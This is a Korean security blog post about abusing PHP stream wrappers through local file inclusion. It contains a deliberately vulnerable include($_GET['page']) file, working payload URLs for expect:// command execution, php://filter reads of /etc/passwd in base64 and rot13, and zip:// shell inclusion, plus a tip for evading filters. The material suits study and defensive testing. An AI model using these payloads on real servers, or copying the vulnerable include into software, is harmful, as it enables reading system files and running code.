PHP wrapper

Hacking/Web 2020. 3. 2. 23:28
반응형

1. 이론

(1) expect://

 : system command 실행 가능

ex) www.test.com?page=expect://ls


(2) php://filter

 : I/O 스트림을 다루는데 사용하는 wrapper로 encode/decode를 이용하여 서버 내 파일을 읽을 수 있다. 대표적으로 base64를 이용한다.

ex) www.test.com?page=php://filter/convert.base64-encode/resource=/etc/passwd


(3) zip://

 : zip:// wrapper는 압축을 풀고 그 안에 있는 파일의 코드를 실행시켜주는 wrapper이다.

ex) www.test.com?page=zip://file.zip#shell.php



2. 실습

(1) test.php 코드

<?php

include($_GET['page']);

?>




(2) expect wrapper 실습

 - 오류가 떴으며, 검색해본 결과 expect wrapper를 이용하기 위해서는 따로 설치하는 과정이 필요한 것으로 보인다.

 - 기본적으로 설치되어 있지 않는 모듈일 가능성이 커 실제로 이용하기에는 제한적이라 생각들어 여기서 stop

 - 더 진행해보고자 하는 분들은 아래 출처 페이지를 참고하여 설치 후 진행해보길 바란다.



(3) php://filter 실습

 - resource에 지정한 파일이 다음과 같이 base64로 인코딩된 상태로 출력된다.

 - 출력된 base64를 디코딩하면 해당 파일의 내용을 볼 수 있다.



(4) zip:// 실습

 - shell.php 코드

<?php

echo "SUCCESS";

?>

 - zip 명령어 : zip rootable.zip shell.php

 - 해당 wrapper 또한 expect 처럼 세팅이 필요해보인다.



3. 결론

 - php://filter가 짱짱맨이다

 - php://filter의 경우 base64가 유명하여 막힐 가능성이 있으므로, string.rot13으로 암호화하여 진행하는 경우도 생각해놓자

ex) www.test.com?page=php://filter/string.rot13/resource=/etc/passwd




(출처)

https://www.opentutorials.org/module/4291/26819

http://linux-problem-solver.blogspot.com/2014/02/solution-to-installation-of-expect.html

https://www.php.net/manual/en/filters.string.php

반응형

'Hacking > Web' 카테고리의 다른 글

LDAP Injection  (0) 2020.03.04
Study of XXE  (0) 2020.03.03
JWT Signature - RS256 to HS256  (3) 2020.02.27
open_basedir setting and bypass  (0) 2019.12.31
Sqlite Sql Injection Prevention  (0) 2019.12.30
블로그 이미지

rootable

,